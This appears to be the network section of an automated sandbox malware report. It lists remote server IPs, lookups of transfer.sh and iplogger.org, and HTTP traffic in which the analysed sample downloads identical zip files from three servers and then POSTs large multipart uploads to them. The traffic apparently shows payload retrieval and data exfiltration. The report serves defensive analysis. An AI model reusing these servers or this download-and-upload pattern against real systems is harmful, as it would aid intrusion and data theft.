Network Analysis
| IP Address | Status | Action |
|---|---|---|
| 103.89.90.61 | Active | Moloch |
| 117.18.232.200 | Active | Moloch |
| 144.76.136.153 | Active | Moloch |
| 146.19.247.187 | Active | Moloch |
| 148.251.234.83 | Active | Moloch |
| 164.124.101.2 | Active | Moloch |
| 185.199.224.90 | Active | Moloch |
| 185.87.149.167 | Active | Moloch |
| 31.41.244.134 | Active | Moloch |
| 45.182.189.196 | Active | Moloch |
| 62.204.41.126 | Active | Moloch |
| 62.204.41.144 | Active | Moloch |
| 91.242.229.63 | Active | Moloch |
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| transfer.sh | 144.76.136.153 | |
| iplogger.org | 148.251.234.83 |
- TCP Requests
-
-
192.168.56.101:49196 103.89.90.61:18728
-
192.168.56.101:49200 103.89.90.61:18728
-
192.168.56.101:49242 117.18.232.200:80
-
192.168.56.101:49236 144.76.136.153:443transfer.sh
-
192.168.56.101:49239 144.76.136.153:443transfer.sh
-
192.168.56.101:49172 146.19.247.187:80
-
192.168.56.101:49181 146.19.247.187:80
-
192.168.56.101:49175 148.251.234.83:443iplogger.org
-
192.168.56.101:49176 148.251.234.83:443iplogger.org
-
192.168.56.101:49177 148.251.234.83:443iplogger.org
-
192.168.56.101:49178 148.251.234.83:443iplogger.org
-
192.168.56.101:49179 148.251.234.83:443iplogger.org
-
192.168.56.101:49185 148.251.234.83:443iplogger.org
-
192.168.56.101:49186 148.251.234.83:443iplogger.org
-
192.168.56.101:49187 148.251.234.83:443iplogger.org
-
192.168.56.101:49188 148.251.234.83:443iplogger.org
-
192.168.56.101:49190 148.251.234.83:443iplogger.org
-
192.168.56.101:49192 148.251.234.83:443iplogger.org
-
192.168.56.101:49193 148.251.234.83:443iplogger.org
-
192.168.56.101:49194 148.251.234.83:443iplogger.org
-
192.168.56.101:49205 148.251.234.83:443iplogger.org
-
192.168.56.101:49197 31.41.244.134:11643
-
192.168.56.101:49227 62.204.41.126:80
-
192.168.56.101:49198 62.204.41.144:14096
-
192.168.56.101:49234 91.242.229.63:80
-
- UDP Requests
-
-
192.168.56.101:55871 164.124.101.2:53
-
192.168.56.101:57609 164.124.101.2:53
-
192.168.56.101:60131 164.124.101.2:53
-
192.168.56.101:61681 164.124.101.2:53
-
192.168.56.101:62062 164.124.101.2:53
-
192.168.56.101:137 192.168.56.255:137
-
192.168.56.101:138 192.168.56.255:138
-
192.168.56.101:49152 239.255.255.250:3702
-
192.168.56.101:61684 239.255.255.250:1900
-
GET
200
http://146.19.247.187/1571
REQUEST
RESPONSE
BODY
GET /1571 HTTP/1.1
Host: 146.19.247.187
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jul 2022 04:47:14 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
GET
200
http://146.19.247.187/5587879545.zip
REQUEST
RESPONSE
BODY
GET /5587879545.zip HTTP/1.1
Host: 146.19.247.187
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jul 2022 04:47:15 GMT
Content-Type: application/zip
Content-Length: 3642574
Last-Modified: Mon, 04 Jul 2022 10:49:28 GMT
Connection: keep-alive
ETag: "62c2c5b8-3794ce"
Accept-Ranges: bytes
POST
200
http://146.19.247.187/
REQUEST
RESPONSE
BODY
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----9554571812425231
Host: 146.19.247.187
Content-Length: 274982
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jul 2022 04:47:29 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
GET
200
http://62.204.41.126/1521
REQUEST
RESPONSE
BODY
GET /1521 HTTP/1.1
Host: 62.204.41.126
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jul 2022 04:47:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
GET
200
http://62.204.41.126/9051825815.zip
REQUEST
RESPONSE
BODY
GET /9051825815.zip HTTP/1.1
Host: 62.204.41.126
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jul 2022 04:47:30 GMT
Content-Type: application/zip
Content-Length: 3642574
Last-Modified: Mon, 04 Jul 2022 10:49:28 GMT
Connection: keep-alive
ETag: "62c2c5b8-3794ce"
Accept-Ranges: bytes
POST
200
http://62.204.41.126/
REQUEST
RESPONSE
BODY
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----9594396718192244
Host: 62.204.41.126
Content-Length: 285726
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jul 2022 04:47:36 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
GET
200
http://91.242.229.63/1557
REQUEST
RESPONSE
BODY
GET /1557 HTTP/1.1
Host: 91.242.229.63
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jul 2022 04:47:40 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
GET
200
http://91.242.229.63/0926682109.zip
REQUEST
RESPONSE
BODY
GET /0926682109.zip HTTP/1.1
Host: 91.242.229.63
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jul 2022 04:47:40 GMT
Content-Type: application/zip
Content-Length: 3642574
Last-Modified: Mon, 04 Jul 2022 10:49:28 GMT
Connection: keep-alive
ETag: "62c2c5b8-3794ce"
Accept-Ranges: bytes
POST
200
http://91.242.229.63/
REQUEST
RESPONSE
BODY
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----1868917762879167
Host: 91.242.229.63
Content-Length: 287506
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 31 Jul 2022 04:47:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
GET
200
http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml
REQUEST
RESPONSE
BODY
GET /IE9CompatViewList.xml HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: ie9cvlist.ie.microsoft.com
If-Modified-Since: Thu, 21 Nov 2019 19:37:08 GMT
If-None-Match: 0x8D76EBA32AF0BC3
Connection: Keep-Alive
HTTP/1.1 200 OK
Content-Encoding: gzip
Age: 16443
Cache-Control: max-age=21600
Content-MD5: p9g4jsuZO6TaLMVAI9ujVg==
Content-Type: text/xml
Date: Sun, 31 Jul 2022 04:48:13 GMT
Etag: 0x8D9521D2D2DF1EC
Last-Modified: Wed, 28 Jul 2021 23:12:31 GMT
Server: ECAcc (tka/897A)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: fd09582c-101e-0017-6f72-a42d61000000
x-ms-version: 2009-09-19
Content-Length: 13702
ICMP traffic
| Source | Destination | ICMP Type | Data |
|---|---|---|---|
| 87.245.193.170 | 192.168.56.101 | 3 | |
| 87.245.193.170 | 192.168.56.101 | 3 | |
| 87.245.193.170 | 192.168.56.101 | 3 |
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts